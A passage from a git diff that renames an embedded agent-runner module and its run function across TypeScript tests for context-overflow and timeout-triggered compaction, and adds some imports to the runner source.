"./run.overflow-compaction.harness.js"; import type { EmbeddedRunAttemptResult } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; function requireRecord(value: unknown, label: string): Record { if (!value || typeof value !== "object" || Array.isArray(value)) { @@ -58,7 +58,7 @@ function expectRetryContinuesFromTranscript() { describe("overflow compaction in run loop", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -90,7 +90,7 @@ describe("overflow compaction in run loop", () => { compactDirect: mockedCompactDirect, }); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); const compactArg = requireMockCallArg(mockedCompactDirect, 0); @@ -129,7 +129,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...baseParams, currentMessageId: "telegram-msg-51024", }); @@ -163,7 +163,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent({ + const result = await runEmbeddedAgent({ ...baseParams, currentMessageId: "telegram-msg-51025", }); @@ -191,7 +191,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -210,7 +210,7 @@ describe("overflow compaction in run loop", () => { reason: "nothing to compact", }); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(1); @@ -234,7 +234,7 @@ describe("overflow compaction in run loop", () => { truncatedCount: 1, }); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect( @@ -282,7 +282,7 @@ describe("overflow compaction in run loop", () => { truncatedCount: 2, }); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); const oversizedArgs = requireMockCallArg(mockedSessionLikelyHasOversizedToolResults, 0); @@ -310,7 +310,7 @@ describe("overflow compaction in run loop", () => { ) .mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).not.toHaveBeenCalled(); expect(mockedTruncateOversizedToolResultsInSession).not.toHaveBeenCalled(); @@ -334,7 +334,7 @@ describe("overflow compaction in run loop", () => { ) .mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).not.toHaveBeenCalled(); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -363,7 +363,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedTruncateOversizedToolResultsInSession).not.toHaveBeenCalled(); @@ -396,7 +396,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -428,7 +428,7 @@ describe("overflow compaction in run loop", () => { truncatedCount: 2, }); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(requireMockCallArg(mockedTruncateOversizedToolResultsInSession, 0).sessionFile).toBe( @@ -472,7 +472,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); // Compaction attempted 3 times (max) expect(mockedCompactDirect).toHaveBeenCalledTimes(3); @@ -506,7 +506,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(2); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(3); @@ -522,7 +522,7 @@ describe("overflow compaction in run loop", () => { makeAttemptResult({ promptError: compactionFailureError }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).not.toHaveBeenCalled(); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(1); @@ -550,7 +550,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -569,7 +569,7 @@ describe("overflow compaction in run loop", () => { }), ); - await expect(runEmbeddedPiAgent(baseParams)).rejects.toThrow("transport disconnected"); + await expect(runEmbeddedAgent(baseParams)).rejects.toThrow("transport disconnected"); expect(mockedCompactDirect).not.toHaveBeenCalled(); expectLogExcludes(mockedLog.warn, "source=assistantError"); @@ -585,7 +585,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.payloads?.[0]?.isError).toBe(true); expect(result.payloads?.[0]?.text).toContain("timed out"); @@ -608,7 +608,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.payloads).toEqual([ { @@ -640,7 +640,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.payloads).toBeUndefined(); expect(result.didSendViaMessagingTool).toBe(true); @@ -655,7 +655,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.payloads).toBeUndefined(); expect(result.didSendDeterministicApprovalPrompt).toBe(true); @@ -672,7 +672,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.payloads?.[0]?.isError).toBe(true); expect(result.payloads?.[0]?.text).toContain("timed out"); @@ -692,7 +692,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect( result.payloads?.map((payload) => ({ @@ -738,7 +738,7 @@ describe("overflow compaction in run loop", () => { }), ); - const result = await runEmbeddedPiAgent(baseParams); + const result = await runEmbeddedAgent(baseParams); expect(result.meta.agentMeta?.usage?.input).toBe(4_000); expect(result.meta.agentMeta?.promptTokens).toBe(2_000); diff --git a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts similarity index 96% rename from src/agents/pi-embedded-runner/run.overflow-compaction.test.ts rename to src/agents/embedded-agent-runner/run.overflow-compaction.test.ts index 49d362fb488..69be4bf2bfa 100644 --- a/src/agents/pi-embedded-runner/run.overflow-compaction.test.ts +++ b/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts @@ -37,10 +37,10 @@ import { overflowBaseRunParams, resetRunOverflowCompactionHarnessMocks, } from "./run.overflow-compaction.harness.js"; -import type { RunEmbeddedPiAgentParams } from "./run/params.js"; +import type { RunEmbeddedAgentParams } from "./run/params.js"; import type { EmbeddedRunAttemptParams } from "./run/types.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; type RuntimePlanOverrides = Partial> & { auth?: Partial; resolvedRef?: Partial; @@ -67,7 +67,7 @@ function makeForwardingCase(internalEvents: AgentInternalEvent[]) { }, } satisfies { runId: string; - params: Partial; + params: Partial; expected: Record; }; } @@ -131,7 +131,7 @@ function makeForwardedRuntimePlan(overrides: RuntimePlanOverrides = {}): AgentRu resolvedRef: { provider: "anthropic", modelId: "test-model", - harnessId: "pi", + harnessId: "openclaw", }, tools: { normalize: vi.fn((tools) => tools), @@ -212,9 +212,9 @@ function expectRuntimePlanFields( } } -describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { +describe("runEmbeddedAgent overflow compaction trigger routing", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -222,37 +222,37 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedBuildEmbeddedRunPayloads.mockReturnValue([{ text: "ok" }]); }); - it("passes precomputed legacy before_agent_start result into the attempt", async () => { - const legacyResult = { - modelOverride: "legacy-model", - prependContext: "legacy context", + it("passes precomputed before_agent_start result into the attempt", async () => { + const beforeAgentStartResult = { + modelOverride: "agent-start-model", + prependContext: "agent start context", }; mockedGlobalHookRunner.hasHooks.mockImplementation( (hookName) => hookName === "before_agent_start", ); - mockedGlobalHookRunner.runBeforeAgentStart.mockResolvedValueOnce(legacyResult); + mockedGlobalHookRunner.runBeforeAgentStart.mockResolvedValueOnce(beforeAgentStartResult); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ sessionId: "test-session", sessionKey: "test-key", sessionFile: "/tmp/session.json", workspaceDir: "/tmp/workspace", prompt: "hello", timeoutMs: 30000, - runId: "run-legacy-pass-through", + runId: "run-before-agent-start-pass-through", }); expect(mockedGlobalHookRunner.runBeforeAgentStart).toHaveBeenCalledTimes(1); expectMockCallFields(mockedRunEmbeddedAttempt, { - legacyBeforeAgentStartResult: legacyResult, + beforeAgentStartResult, }); }); it("passes resolved auth profile into run attempts for context-engine afterTurn propagation", async () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-auth-profile-passthrough", }); @@ -265,7 +265,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { it("uses the lightweight auth profile store during reply startup", async () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-lightweight-auth-store", }); @@ -298,7 +298,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:claude-cli"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -349,7 +349,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:claude-cli"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -404,7 +404,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:claude-cli", "anthropic:api"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -462,7 +462,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:claude-cli", "anthropic:api"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -526,7 +526,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:api", "anthropic:claude-cli"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -576,7 +576,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["anthropic:claude-cli"]); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -594,10 +594,10 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }); }); - it("keeps static Anthropic PI auth on the no-external auth profile store", async () => { + it("keeps static Anthropic auth on the no-external auth profile store", async () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -644,7 +644,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedGetApiKeyForModel.mockRejectedValueOnce(new Error("generic auth should be skipped")); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "anthropic", model: "test-model", @@ -681,7 +681,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedBuildAgentRuntimePlan.mockReturnValueOnce(runtimePlan); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, ...forwardingCase.params, runId: forwardingCase.runId, @@ -713,7 +713,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); const observedPriorities: unknown[] = []; - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "user", runId: "run-user-session-priority", @@ -730,7 +730,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); const observedPriorities: unknown[] = []; - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, trigger: "cron", runId: "run-cron-session-priority", @@ -802,7 +802,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedEnsureAuthProfileStoreWithoutExternalProfiles.mockReturnValueOnce(codexAuthStore); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "codex", model: "gpt-5.4", @@ -883,7 +883,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedGetApiKeyForModel.mockRejectedValueOnce(new Error("generic auth should be skipped")); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.4", @@ -1000,7 +1000,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedBuildAgentRuntimePlan.mockReturnValueOnce(runtimePlan); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1140,7 +1140,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { ); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1323,7 +1323,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { })); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1396,7 +1396,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedGetApiKeyForModel.mockRejectedValueOnce(new Error("generic auth should be skipped")); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1468,7 +1468,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveAuthProfileOrder.mockReturnValueOnce(["openai-codex:default"]); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1553,7 +1553,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1687,7 +1687,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { })); try { - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, provider: "openai", model: "gpt-5.5", @@ -1755,7 +1755,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...overflowBaseRunParams, runId: "run-small-context", }), @@ -1772,7 +1772,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { compactDirect: mockedCompactDirect, }); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); const compactParams = expectMockCallFields(mockedCompactDirect, { @@ -1814,7 +1814,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); const compactParams = expectMockCallFields(mockedCompactDirect, {}); const runtimeContext = expectRecordFields(compactParams.runtimeContext, { @@ -1851,7 +1851,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expectMockCallFields(mockedCompactDirect, { currentTokenCount: 277403, @@ -1882,7 +1882,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expectMockCallFields(mockedCompactDirect, { currentTokenCount: 200001, @@ -1907,7 +1907,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedIsLikelyContextOverflowError).toHaveBeenCalledWith(promptError.message); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); @@ -1960,7 +1960,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { truncatedCount: 1, }); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(3); expect(mockedTruncateOversizedToolResultsInSession).toHaveBeenCalledTimes(1); @@ -1985,7 +1985,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }, }); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); expectRecordFields(mockCallArg(mockedGlobalHookRunner.runBeforeCompaction), { messageCount: -1, @@ -2019,7 +2019,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }, }); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); const maintenanceParams = expectMockCallFields(mockedRunContextEngineMaintenance, { contextEngine: mockedContextEngine, @@ -2053,7 +2053,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); expectMockCallFields( mockedRunEmbeddedAttempt, @@ -2079,7 +2079,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { ); mockedCompactDirect.mockRejectedValueOnce(new Error("engine boom")); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedGlobalHookRunner.runBeforeCompaction).toHaveBeenCalledTimes(1); @@ -2098,7 +2098,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { makeCompactionSuccess({ summary: "engine-owned compaction", tokensAfter: 50 }), ); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, abortSignal: abortController.signal, }); @@ -2120,7 +2120,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { ); mockedPickFallbackThinkingLevel.mockReturnValue("low"); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(32); expect(mockedCompactDirect).not.toHaveBeenCalled(); @@ -2144,7 +2144,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(result.meta.error?.kind).toBe("retry_limit"); expect(result.meta.replayInvalid).toBe(true); @@ -2179,7 +2179,7 @@ describe("runEmbeddedPiAgent overflow compaction trigger routing", () => { mockedResolveFailoverStatus.mockReturnValue(429); await expect( - runEmbeddedPiAgent({ + runEmbeddedAgent({ ...overflowBaseRunParams, config: { agents: { diff --git a/src/agents/pi-embedded-runner/run.timeout-triggered-compaction.test.ts b/src/agents/embedded-agent-runner/run.timeout-triggered-compaction.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/run.timeout-triggered-compaction.test.ts rename to src/agents/embedded-agent-runner/run.timeout-triggered-compaction.test.ts index 27aad7f6bda..b604fd14e5b 100644 --- a/src/agents/pi-embedded-runner/run.timeout-triggered-compaction.test.ts +++ b/src/agents/embedded-agent-runner/run.timeout-triggered-compaction.test.ts @@ -14,7 +14,7 @@ import { resetRunOverflowCompactionHarnessMocks, } from "./run.overflow-compaction.harness.js"; -let runEmbeddedPiAgent: typeof import("./run.js").runEmbeddedPiAgent; +let runEmbeddedAgent: typeof import("./run.js").runEmbeddedAgent; const useTwoAuthProfiles = () => { mockedResolveAuthProfileOrder.mockReturnValue(["profile-a", "profile-b"]); @@ -108,7 +108,7 @@ function hookCallAt(index: number, kind: "before" | "after"): [HookEvent, HookCo describe("timeout-triggered compaction", () => { beforeAll(async () => { - ({ runEmbeddedPiAgent } = await loadRunOverflowCompactionHarness()); + ({ runEmbeddedAgent } = await loadRunOverflowCompactionHarness()); }); beforeEach(() => { @@ -149,7 +149,7 @@ describe("timeout-triggered compaction", () => { // Retry after compaction succeeds mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); const compactParams = compactCallAt(0); @@ -201,7 +201,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // Verify the loop continued (retry happened) expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -230,7 +230,7 @@ describe("timeout-triggered compaction", () => { ); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - await runEmbeddedPiAgent({ + await runEmbeddedAgent({ ...overflowBaseRunParams, messageChannel: "slack", messageProvider: "slack", @@ -269,7 +269,7 @@ describe("timeout-triggered compaction", () => { reason: "nothing to compact", }); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // Compaction was attempted but failed → falls through to timeout error payload expect(mockedCompactDirect).toHaveBeenCalledTimes(1); @@ -289,7 +289,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // No compaction attempt for low usage expect(mockedCompactDirect).not.toHaveBeenCalled(); @@ -308,7 +308,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).not.toHaveBeenCalled(); expect(result.payloads?.[0]?.isError).toBe(true); @@ -331,7 +331,7 @@ describe("timeout-triggered compaction", () => { ) .mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).not.toHaveBeenCalled(); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -355,7 +355,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); expect(mockedCompactDirect).not.toHaveBeenCalled(); @@ -382,7 +382,7 @@ describe("timeout-triggered compaction", () => { ); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(1); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -400,7 +400,7 @@ describe("timeout-triggered compaction", () => { }), ); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); // timedOutDuringCompaction skips timeout-triggered compaction expect(mockedCompactDirect).not.toHaveBeenCalled(); @@ -451,7 +451,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // Both compaction attempts used; third timeout falls through. expect(mockedCompactDirect).toHaveBeenCalledTimes(2); @@ -474,7 +474,7 @@ describe("timeout-triggered compaction", () => { // Compaction throws mockedCompactDirect.mockRejectedValueOnce(new Error("engine crashed")); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // Should not crash — falls through to normal timeout handling expect(mockedCompactDirect).toHaveBeenCalledTimes(1); @@ -506,7 +506,7 @@ describe("timeout-triggered compaction", () => { }, }); - await runEmbeddedPiAgent(overflowBaseRunParams); + await runEmbeddedAgent(overflowBaseRunParams); const [beforeEvent, beforeContext] = hookCallAt(0, "before"); expect(beforeEvent).toEqual({ messageCount: -1, sessionFile: "/tmp/session.json" }); @@ -557,7 +557,7 @@ describe("timeout-triggered compaction", () => { reason: "nothing to compact", }); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(2); const firstCompact = compactCallAt(0); @@ -600,7 +600,7 @@ describe("timeout-triggered compaction", () => { .mockRejectedValueOnce(new Error("engine crashed")) .mockRejectedValueOnce(new Error("engine crashed again")); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); expect(mockedCompactDirect).toHaveBeenCalledTimes(2); expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2); @@ -623,7 +623,7 @@ describe("timeout-triggered compaction", () => { }), ); - const result = await runEmbeddedPiAgent(overflowBaseRunParams); + const result = await runEmbeddedAgent(overflowBaseRunParams); // Despite high total tokens, low prompt tokens mean no compaction expect(mockedCompactDirect).not.toHaveBeenCalled(); diff --git a/src/agents/pi-embedded-runner/run.ts b/src/agents/embedded-agent-runner/run.ts similarity index 98% rename from src/agents/pi-embedded-runner/run.ts rename to src/agents/embedded-agent-runner/run.ts index 165ad5ebe5d..5e353f51f03 100644 --- a/src/agents/pi-embedded-runner/run.ts +++ b/src/agents/embedded-agent-runner/run.ts @@ -22,12 +22,17 @@ import { createAgentHarnessTaskRuntimeScope } from "../../tasks/agent-harness-ta import { sanitizeForLog } from "../../terminal/ansi.js"; import { resolveUserPath } from "../../utils.js"; import { isMarkdownCapableMessageChannel } from "../../utils/message-channel.js"; +import { + retireSessionMcpRuntime, + retireSessionMcpRuntimeForSessionKey, +} from "../agent-bundle-mcp-tools.js"; import { resolveAgentExecutionContract, resolveAgentDir, resolveSessionAgentIds, resolveAgentWorkspaceDir, } from "../agent-scope.js"; +import { resolveProcessToolScopeKey } from "../agent-tools.js"; import { type AuthProfileFailureReason, type AuthProfileStore, @@ -43,6 +48,22 @@ import { resolveStoredSessionKeyForSessionId, } from "../command/session.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../defaults.js"; +import { + classifyFailoverReason, + extractObservedOverflowTokenCount, + type FailoverReason, + formatAssistantErrorText, + isAuthAssistantError, + isBillingAssistantError, + isCompactionFailureError, + isFailoverAssistantError, + isFailoverErrorMessage, + isLikelyContextOverflowError, + isRateLimitAssistantError, + parseImageDimensionError, + parseImageSizeError, + pickFallbackThinkingLevel, +} from "../embedded-agent-helpers.js"; import { 